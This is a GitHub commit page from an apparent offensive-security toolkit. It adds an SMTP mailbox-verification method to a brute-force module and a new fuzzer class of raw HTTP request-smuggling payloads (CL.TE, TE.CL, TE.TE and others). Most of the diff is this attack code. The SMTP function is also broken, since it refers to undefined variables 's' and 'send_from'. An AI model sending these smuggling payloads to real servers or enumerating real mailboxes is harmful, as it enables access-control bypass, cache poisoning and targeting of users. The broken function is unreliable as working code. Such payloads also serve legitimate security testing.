-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
172 additions
and
15 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,7 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
|
||
import random | ||
import smtplib | ||
|
||
from saker.brute.brute import Brute | ||
|
@@ -78,3 +79,15 @@ def srvInit(self, srv): | |
smtpServer.ehlo() | ||
smtpServer.starttls() | ||
return smtpServer | ||
|
||
def verify(self, mail, srv): | ||
helo = s.docmd('HELO example.com') | ||
s.docmd('MAIL FROM:<%[email protected]>' % random.random()) | ||
s.docmd('RCPT TO:<%s>' % mail) | ||
if send_from[0] in [250, 451]: | ||
# 邮箱存在 | ||
return True | ||
elif send_from[0] == 550: | ||
return False | ||
else: | ||
return None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
|
||
from saker.fuzzers.fuzzer import Fuzzer | ||
|
||
|
||
class HTTPSmuggle(Fuzzer): | ||
|
||
"""HTTPSmuggle""" | ||
|
||
def __init__(self): | ||
super(HTTPSmuggle, self).__init__() | ||
|
||
def CLGET(self, host="example.com"): | ||
payload = [ | ||
"GET / HTTP/1.1\r\n", | ||
"Host: %s\r\n" % host, | ||
"Content-Length: 44\r\n", | ||
"\r\n", | ||
"GET /secret HTTP/1.1\r\n", | ||
"Host: %s\r\n" % host, | ||
"\r\n", | ||
] | ||
return ''.join(payload) | ||
|
||
def CLCL(self, host="example.com"): | ||
payload = [ | ||
"POST / HTTP/1.1\r\n", | ||
"Host: %s\r\n" % host, | ||
"Content-Length: 8\r\n", | ||
"Content-Length: 7\r\n", | ||
"\r\n", | ||
"12345\r\n", | ||
"a", | ||
] | ||
return ''.join(payload) | ||
|
||
def CLTE(self, host="example.com"): | ||
payload = [ | ||
"POST / HTTP/1.1\r\n", | ||
"Host: %s\r\n" % host, | ||
"Connection: keep-alive\r\n", | ||
"Content-Length: 6\r\n", | ||
"Transfer-Encoding: chunked\r\n", | ||
"\r\n", | ||
"0\r\n", | ||
"\r\n", | ||
"a", | ||
] | ||
return ''.join(payload) | ||
|
||
def TECL(self, host="example.com"): | ||
payload = [ | ||
"POST / HTTP/1.1\r\n", | ||
"Host: %s\r\n" % host, | ||
"Content-Length: 4\r\n", | ||
"Transfer-Encoding: chunked\r\n", | ||
"\r\n", | ||
"12\r\n", | ||
"aPOST / HTTP/1.1\r\n", | ||
"\r\n", | ||
"0\r\n", | ||
"\r\n", | ||
] | ||
return ''.join(payload) | ||
|
||
def TETE(self, host="example.com"): | ||
payload = [ | ||
"POST / HTTP/1.1\r\n", | ||
"Host: %s\r\n" % host, | ||
"...", | ||
"Content-length: 4\r\n", | ||
"Transfer-Encoding: chunked\r\n", | ||
"Transfer-encoding: cow\r\n", | ||
"\r\n", | ||
"5c\r\n", | ||
"aPOST / HTTP/1.1\r\n", | ||
"Content-Type: application/x-www-form-urlencoded\r\n", | ||
"Content-Length: 15\r\n", | ||
"\r\n", | ||
"x=1\r\n", | ||
"0\r\n", | ||
"\r\n", | ||
] | ||
return ''.join(payload) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters